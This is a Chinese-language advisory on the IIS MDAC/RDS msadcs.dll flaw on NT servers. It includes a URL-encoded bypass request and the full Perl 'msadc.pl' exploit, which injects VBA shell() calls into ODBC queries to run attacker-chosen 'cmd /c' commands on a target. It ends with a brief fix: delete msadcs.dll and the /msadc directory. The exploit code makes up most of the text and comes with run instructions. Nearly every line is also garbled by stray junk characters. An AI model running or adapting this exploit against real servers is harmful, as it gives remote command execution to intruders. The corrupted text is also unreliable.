IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h.5KzC
S pLtK :Z 涉及程序：
3 shd0q< Microsoft NT server
ricL.[v9S =&WH9IKz 描述：
$ <Mf#.8% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%;b] k .a 9f)^ 详细：
;e6- * 如果你没有时间读详细内容的话，就删除:
(9v%66y c:\Program Files\Common Files\System\Msadc\msadcs.dll
q5\iQ2f{WV 有关的安全问题就没有了。
o~26<Lk hY|- l%2f 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^#4Ah[:XA @nIoIz
D~ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
XCyr r 2^ 关于利用ODBC远程漏洞的描述，请参看:
{pC$jd>T x pBQ(6Y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?b\oM
v5y eZ{Ce.lNR 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
hp}JKj@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp =A(Az g1) ZjABV 这里不再论述。
X~Hm.qIR nB wDq^ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3zMaHh)mj %<<JWoB /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2Mj_wc 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
b;5
M$
g9j&\+h^ '~zi~Q7M #将下面这段保存为txt文件，然后: "perl -x 文件名"
P<=1O WC aev(CY,z #!perl
AYfL} X<Ig #
\s7/ ` # MSADC/RDS 'usage' (aka exploit) script
}4kQu#0o") #
lLLPvW[Q # by rain.forest.puppy
NKl`IiGv #
#x \YA#~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Cng_*\=O # beta test and find errors!
8WC _CAP ,Jf P$HJ use Socket; use Getopt::Std;
~Gl5O`w( getopts("e:vd:h:XR", \%args);
~U5Tn3'~ 8y;gs1d;A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MhIHfW ]b k t+h\^g if (!defined $args{h} && !defined $args{R}) {
X XxH<E$p print qq~
<,Mf[R2N> Usage: msadc.pl -h <host> { -d <delay> -X -v }
6VLo4bq 5
-h <host> = host you want to scan (ip or domain)
Gh 352 -d <seconds> = delay between calls, default 1 second
25<qo{ -X = dump Index Server path table, if available
~RV"_8`V9 -v = verbose
`cPZsL -e = external dictionary file for step 5
X$_pDF&\z eOx8D|^W Or a -R will resume a command session
*:ErZ UyQM ay]l\d2!3 ~; exit;}
OxUc,%e9P i`= %X{9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h.kjJ F if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=MwR)CI# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
JF= T_SH^U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N?O^" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\"w+ 4 } if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\i\>$'f*z 4' Y a-x x if (!defined $args{R}){ $ret = &has_msadc;
4/OmgBo ' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N :~4>p44[ >E3-/)Ti print "Please type the NT commandline you want to run (cmd /c assumed):\n"
) .-# . "cmd /c ";
`qRyh}Ax" $in=<STDIN>; chomp $in;
q *kLi~ Oe $command="cmd /c " . $in ;
ZD4aT1|Q7 b1QHZY\g{ if (defined $args{R}) {&load; exit;}
'S*]JZ1 2s p4Mm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
A5Q4wy` &try_btcustmr;
Gte\=0Wr umCmxm r& print "\nStep 2: Trying to make our own DSN...";
(G(M"S SC &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
tH#t8Tq5x |;&I$'i print "\nStep 3: Trying known DSNs...";
uc}F|O &known_dsn;
9 $D}j " R7O<>kt print "\nStep 4: Trying known .mdbs...";
y=Z[_L!xr &known_mdb;
Q<KF<K'0hg mq (-L if (defined $args{e}){
|<O^M q print "\nStep 5: Trying dictionary of DSN names...";
W8r"d K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<$d2m6 J v6Wz:|G/u print "Sorry Charley...maybe next time?\n";
m/,80J8L+f exit;
8kvA^r` Spin]V ##############################################################################
: ))&"GY B I=57 sub sendraw { # ripped and modded from whisker
+SW|/oIU sleep($delay); # it's a DoS on the server! At least on mine...
S!b?pl my ($pstr)=@_;
&N]e pV> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H!Dj.]T die("Socket problems\n");
{u -J?(s} if(connect(S,pack "SnA4x8",2,80,$target)){
v`G}sgn select(S); $|=1;
d_ x
jW print $pstr; my @in=<S>;
)u 4=k( select(STDOUT); close(S);
L\5:od[EP return @in;
)rlkQ'DN } else { die("Can't connect...\n"); }}
ii>^ ]iT W39J)~D^@ ##############################################################################
f( 5; Rf( ] SLeWs sub make_header { # make the HTTP request
RLzqpE<rJ my $msadc=<<EOT
(ti!Y"e2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4mt O"'| User-Agent: ACTIVEDATA
uy~$
: 0o Host: $ip
uH,/S4?X Content-Length: $clen
~wOMT Connection: Keep-Alive
wXZ9 @(^ qk>SM| { ADCClientVersion:01.06
9W_mSum Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
2|]
<U[ W]_a_5 --!ADM!ROX!YOUR!WORLD!
~b0l?P*Ff Content-Type: application/x-varg
N U+ PG`Vb Content-Length: $reqlen
hh5h \ZI% ~4O3~Y_+GN EOT
: (.:bf ; $msadc=~s/\n/\r\n/g;
33 wVP}e5 return $msadc;}
/q,=!&f2 J!G92A~*] ##############################################################################
r!w*y3 t F 7u- sub make_req { # make the RDS request
2X*n93AQi my ($switch, $p1, $p2)=@_;
@ &rf?: my $req=""; my $t1, $t2, $query, $dsn;
;!lwB [*I7^h% if ($switch==1){ # this is the btcustmr.mdb query
L/,g D.h^ $query="Select * from Customers where City=" . make_shell();
wZ69W$, p $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q?) 5yukeF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_qpIdQBo fe"w--v elsif ($switch==2){ # this is general make table query
! 0UfX{. $query="create table AZZ (B int, C varchar(10))";
mwN "Cu 4t $dsn="$p1";}
#3eI4KJ4+l ^eefR5^_w elsif ($switch==3){ # this is general exploit table query
%cDDu$9; $query="select * from AZZ where C=" . make_shell();
iT s" R W $dsn="$p1";}
2V$Jn8v,`{ r'_ #rl elsif ($switch==4){ # attempt to hork file info from index server
vpOGyvI $query="select path from scope()";
SG&H^V8 $dsn="Provider=MSIDXS;";}
m=/HUt3(&0 `[XH =-p elsif ($switch==5){ # bad query
o1b.a*SZ $query="select";
2']0c
z $dsn="$p1";}
* C Az_s< = CS$c? $t1= make_unicode($query);
CdcB E.%< $t2= make_unicode($dsn);
6 OvH"/X4 $req = "\x02\x00\x03\x00";
ZCb@!V}= $req.= "\x08\x00" . pack ("S1", length($t1));
b"`fS`@/MW $req.= "\x00\x00" . $t1 ;
Zm |il9y4m $req.= "\x08\x00" . pack ("S1", length($t2));
'O9Yu{M $req.= "\x00\x00" . $t2 ;
$Fy~xMA8O $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
dl |$pm@x return $req;}
G;A .i*ja* ##############################################################################
u`oJ3mS; [nX{ sM% sub make_shell { # this makes the shell() statement
7~ZG"^k return "'|shell(\"$command\")|'";}
.L^;aL :B|r s& ##############################################################################
MrOts X HM"(cB(n` sub make_unicode { # quick little function to convert to unicode
N"Y%* BkH my ($in)=@_; my $out;
3/&
|Z<f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
glKPjL * return $out;}
A e2Y\ sAV v p d!|/ ##############################################################################
m9j jKu]| d~QJ}a sub rdo_success { # checks for RDO return success (this is kludge)
=
1d$x: my (@in) = @_; my $base=content_start(@in);
>s,*=a if($in[$base]=~/multipart\/mixed/){
4"{g{8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(5[ #?_~ return 0;}
YY'[PXP$Y G4#Yz6O ##############################################################################
6O 2sa-{d ! }1l8Y sub make_dsn { # this makes a DSN for us
A,=
R`m my @drives=("c","d","e","f");
I>-}ys`[ print "\nMaking DSN: ";
4xFAFK~lx foreach $drive (@drives) {
,p\*cHB9 print "$drive: ";
7Bf4ojKt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cRf;7G "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ZC ^?ng . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y4!fu<[ i $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dPgA~~ return 0 if $2 eq "404"; # not found/doesn't exist
+s [_
4 if($2 eq "200") {
=umF C[. W foreach $line (@results) {
+OB&PE return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6Hd^qouid } return 0;}
(KfdN'vW CyB 1`&G> ##############################################################################
A 7|x|mW ~ r$I&8 sub verify_exists {
&N %-.&t' my ($page)=@_;
SBw'z(U my @results=sendraw("GET $page HTTP/1.0\n\n");
~H]d9C return $results[0];}
)MX%D Qw J=n^&y ##############################################################################
pcm1IwR` icK U) sub try_btcustmr {
2"Y=*s my @drives=("c","d","e","f");
PKs$Q=Ol<| my @dirs=("winnt","winnt35","winnt351","win","windows");
G0ENk|wbbj '_g *I foreach $dir (@dirs) {
)9!ZkZbv_m print "$dir -> "; # fun status so you can see progress
gJzS,g1] foreach $drive (@drives) {
Z \ - print "$drive: "; # ditto
er !+QD,EM $reqlen=length( make_req(1,$drive,$dir) ) - 28;
OQT i$2 $reqlenlen=length( "$reqlen" );
{Z[kvXf"mZ $clen= 206 + $reqlenlen + $reqlen;
6(HJYa $5>x)jr:w+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
x/92],.Mz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F0Z cV>j} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
WS$~o*Z8 A?c?( ~9O ##############################################################################
\<y#$:4r<8 a\I`:RO=<Z sub odbc_error {
@jD19= my (@in)=@_; my $base;
lx~mn~;x my $base = content_start(@in);
jH4Wu`r;m if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
I,l zyxRP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u #7AB>wi{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.GPuKP| $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cACnBg Ll return $in[$base+4].$in[$base+5].$in[$base+6];}
aK9zw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]}A yDy6C print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5d82M s $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9,
792b >[g'i+{ ##############################################################################
H Sk}09GV !E\J`K0_e sub verbose {
\Ng[lN my ($in)=@_;
1)
G6 return if !$verbose;
3b B%@^< print STDOUT "\n$in\n";}
~3m}
EL ~bJ*LM?wOP ##############################################################################
{pB9T3ry] 885
,3AdA sub save {
a^&3?3
my ($p1, $p2, $p3, $p4)=@_;
g/soop\: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4:v{\R print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*r]#jY4qx close OUT;}
<8/lHQ^\) &,`P%a&k ##############################################################################
%|3U WN B LhuYuON sub load {
6T~xjAuJ3T my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YY<e]CriU open(IN,"<rds.save") || die("Couldn't open rds.save\n");
doaqHri\, @p=<IN>; close(IN);
_qq J >E<0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_26F[R1><~ $target= inet_aton($ip) || die("inet_aton problems");
c}FZb$q# print "Resuming to $ip ...";
qT L@N9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
zHCz[jlrMq if($p[1]==1) {
V]9 ?9-r $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q}j l1dIq $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
o,RLaS,BK' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3^zO G2 if (rdo_success(@results)){print "Success!\n";}
`_v|O{DC{ else { print "failed\n"; verbose(odbc_error(@results));}}
pc%_ :> elsif ($p[1]==3){
FeFH_ if(run_query("$p[3]")){
C zvi': print "Success!\n";} else { print "failed\n"; }}
_sCpyu elsif ($p[1]==4){
w ~g)Dz2G if(run_query($drvst . "$p[3]")){
*l^%7W rk print "Success!\n"; } else { print "failed\n"; }}
),)]gw71QW exit;}
3J}bI {3 w#,C{6 ##############################################################################
kSw.Q2 ao QY<2i-A sub create_table {
fW4N +2 my ($in)=@_;
""ICdZ_A $reqlen=length( make_req(2,$in,"") ) - 28;
HIi 5kv]}| $reqlenlen=length( "$reqlen" );
.r?-O{2t $clen= 206 + $reqlenlen + $reqlen;
3l 0> my @results=sendraw(make_header() . make_req(2,$in,""));
7m=tu?@ return 1 if rdo_success(@results);
g+k0Fw]! my $temp= odbc_error(@results); verbose($temp);
X}xy
v return 1 if $temp=~/Table 'AZZ' already exists/;
S:Ne g!` return 0;}
Bn/ {J fNx3\<~V= ##############################################################################
eVDI7W:(Sn fgP_NYfOj sub known_dsn {
>LwZ"IE V # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>_]j{}~\k my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
MD S;qZx= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
eUA6X
,I "banner", "banners", "ads", "ADCDemo", "ADCTest");
u%S&EuX M: qeqn+ foreach $dSn (@dsns) {
j']m*aM1> print ".";
969*mcq' next if (!is_access("DSN=$dSn"));
]-&
ehW if(create_table("DSN=$dSn")){
^~2GhveBV print "$dSn successful\n";
Sf)VQ5U!Y if(run_query("DSN=$dSn")){
5/Q^p" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`bffw:; % print "Something's borked. Use verbose next time\n";}}} print "\n";}
0Q=4{*:? Qd 1Q~PBla ##############################################################################
] w(i,iJ |jniI( sub is_access {
|b52JF
", my ($in)=@_;
!~cTe!T $reqlen=length( make_req(5,$in,"") ) - 28;
DGTSk9iK( $reqlenlen=length( "$reqlen" );
mh!;W=|/" $clen= 206 + $reqlenlen + $reqlen;
`6b!W0$
- my @results=sendraw(make_header() . make_req(5,$in,""));
{SW}S_ my $temp= odbc_error(@results);
#m6 eG&a verbose($temp); return 1 if ($temp=~/Microsoft Access/);
T2
0dZ8{y return 0;}
U&|=d H]- g6k@E,cI_ ##############################################################################
jAmAT / 1 o jzO?z sub run_query {
AS[cz!
> my ($in)=@_;
6e$(-ai $reqlen=length( make_req(3,$in,"") ) - 28;
Ujw A06 $reqlenlen=length( "$reqlen" );
_mKO 4Atw $clen= 206 + $reqlenlen + $reqlen;
I Db|J%e^P my @results=sendraw(make_header() . make_req(3,$in,""));
16[>af0 <g return 1 if rdo_success(@results);
yw2^kk93| my $temp= odbc_error(@results); verbose($temp);
P'GX-H return 0;}
# vYdP#nWb 9. Q;J#;1 ##############################################################################
tB4- of3+ cpp0Y^ sub known_mdb {
Zg%U4m: my @drives=("c","d","e","f","g");
l)fF)\ |;= my @dirs=("winnt","winnt35","winnt351","win","windows");
eP$0TDZ my $dir, $drive, $mdb;
WaQCq0Enj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)Fk%, H-1 ?&ThMWl # this is sparse, because I don't know of many
b40zYH`'{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
6 $w)"Rq "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2GA6@-u\ "\\system32\\certmdb.mdb",
T+z ZOI "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.HF+JHIUu UHF.R>Ry my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
IY?[ 0S "\\cfusion\\cfapps\\forums\\forums_.mdb",
gX5I`mm "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2c @R!* "\\cfusion\\cfapps\\security\\realm_.mdb",
xWD=",0+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:f?\ mVS+ "\\cfusion\\database\\cfexamples.mdb",
gYfN ?A*`_ "\\cfusion\\database\\cfsnippets.mdb",
~T9%%W[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~cVFCM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
E8u :Fg s "\\cfusion\\brighttiger\\database\\cleam.mdb",
e'mm4 2 "\\cfusion\\database\\smpolicy.mdb",
Tk9u+;=6$ "\\cfusion\\database\cypress.mdb",
sptDzVM "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
R_:47.qq "\\website\\cgi-win\\dbsample.mdb",
Ndu vfA4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2?58=i%b "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-mOSB(#bo ); #these are just
b" t95qlL foreach $drive (@drives) {
x'@0] f. foreach $dir (@dirs){
s\, F 6c foreach $mdb (@sysmdbs) {
A1zM$
wDU print ".";
j{SRE1tqh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_>%P};G{> print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
?Ko) AP if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
la>:%SD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$]K gs6=r } else { print "Something's borked. Use verbose next time\n"; }}}}}
os|8/[gT )4>M<BO foreach $drive (@drives) {
l7]:b8 foreach $mdb (@mdbs) {
I3]-$ print ".";
OF&{mJH"g' if(create_table($drv . $drive . $dir . $mdb)){
#\[h.4i print "\n" . $drive . $dir . $mdb . " successful\n";
NypM+y if(run_query($drv . $drive . $dir . $mdb)){
&[ $ qA print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1r;]== } else { print "Something's borked. Use verbose next time\n"; }}}}
l5QH8eNwME }
R )MWO5 5drc8_fZ ##############################################################################
i"Hec9Ri (+ q#kKR sub hork_idx {
P&"8R print "\nAttempting to dump Index Server tables...\n";
?TA%P6Lw print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
M3 ihtY $reqlen=length( make_req(4,"","") ) - 28;
~=91Kxf $reqlenlen=length( "$reqlen" );
8+K=3=05#U $clen= 206 + $reqlenlen + $reqlen;
S7]\tw_L) my @results=sendraw2(make_header() . make_req(4,"",""));
)Kkw$aQI"d if (rdo_success(@results)){
/|V!2dQs" my $max=@results; my $c; my %d;
IV*@}~BJ for($c=19; $c<$max; $c++){
$51M' Qu $results[$c]=~s/\x00//g;
%Z9& z mO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
X- 2 rC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
BH6)`0&2*N $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
e^2e[rp0 $d{"$1$2"}="";}
d5h]yIz^ foreach $c (keys %d){ print "$c\n"; }
!=%0 } else {print "Index server doesn't seem to be installed.\n"; }}
uyBmGS2 IX@g].)C ##############################################################################
%;ZWYj`]n 6Y?%G>$6 sub dsn_dict {
Bu|U z0Y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
vM )2F while(<IN>){
#yz5CWu $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
YuufgPE*H next if (!is_access("DSN=$dSn"));
ZS& >%G if(create_table("DSN=$dSn")){
o zg%- print "$dSn successful\n";
W *?mc2;/ if(run_query("DSN=$dSn")){
& D@/_m $ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GZJIIP# print "Something's borked. Use verbose next time\n";}}}
HQPb print "\n"; close(IN);}
s+#|j;V< >d#oJ?goX ##############################################################################
&q~**^;' 5'iJN$7 sub sendraw2 { # ripped and modded from whisker
|]=. ^ sleep($delay); # it's a DoS on the server! At least on mine...
:eIPPh|\ my ($pstr)=@_;
Xc )V; 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vwy10PlqL die("Socket problems\n");
WZ}je!8 2 if(connect(S,pack "SnA4x8",2,80,$target)){
>JdA,i}1 print "Connected. Getting data";
: (IP rQ open(OUT,">raw.out"); my @in;
5gP<+S#>T select(S); $|=1; print $pstr;
WH:[Y7D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"V/|RC close(OUT); select(STDOUT); close(S); return @in;
D2hE I2S } else { die("Can't connect...\n"); }}
Y)D~@|D, VrG 4wLpLs ##############################################################################
~vf&JH'! X`xI~&t _ sub content_start { # this will take in the server headers
Eu%19s; u my (@in)=@_; my $c;
VyRU_<xP for ($c=1;$c<500;$c++) {
00DWXGt20o if($in[$c] =~/^\x0d\x0a/){
-KzU'' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
lo }[o0X else { return $c+1; }}}
aFkxR\x
6% return -1;} # it should never get here actually
&uLxA w Rg:3}T`~n ##############################################################################
sU7>q }! L,@O OBD sub funky {
79.J`}# my (@in)=@_; my $error=odbc_error(@in);
ONx|c'0 g if($error=~/ADO could not find the specified provider/){
iU)-YFO print "\nServer returned an ADO miscofiguration message\nAborting.\n";
= mn jIp exit;}
3F%Q q7v if($error=~/A Handler is required/){
kBPFk t2 print "\nServer has custom handler filters (they most likely are patched)\n";
tykA69X\W exit;}
^RN1?dXA if($error=~/specified Handler has denied Access/){
jgiP2k[Xom print "\nServer has custom handler filters (they most likely are patched)\n";
4SG22$7 W exit;}}
8ad!. cQ4TYr;? ##############################################################################
o]NL_SM_ Kuh! b`9 sub has_msadc {
5io7!% my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
(wJtEoB9^ my $base=content_start(@results);
Q:LyD!at return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Fa(}:Ug return 0;}
tVx.J'"Y (xU+Y1*g"% ########################
7R\!'`]\M Isq3YY &`rV{%N" 解决方案：
^qpa[6D6x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4'BzW Z;_a 2、移除web 目录: /msadc
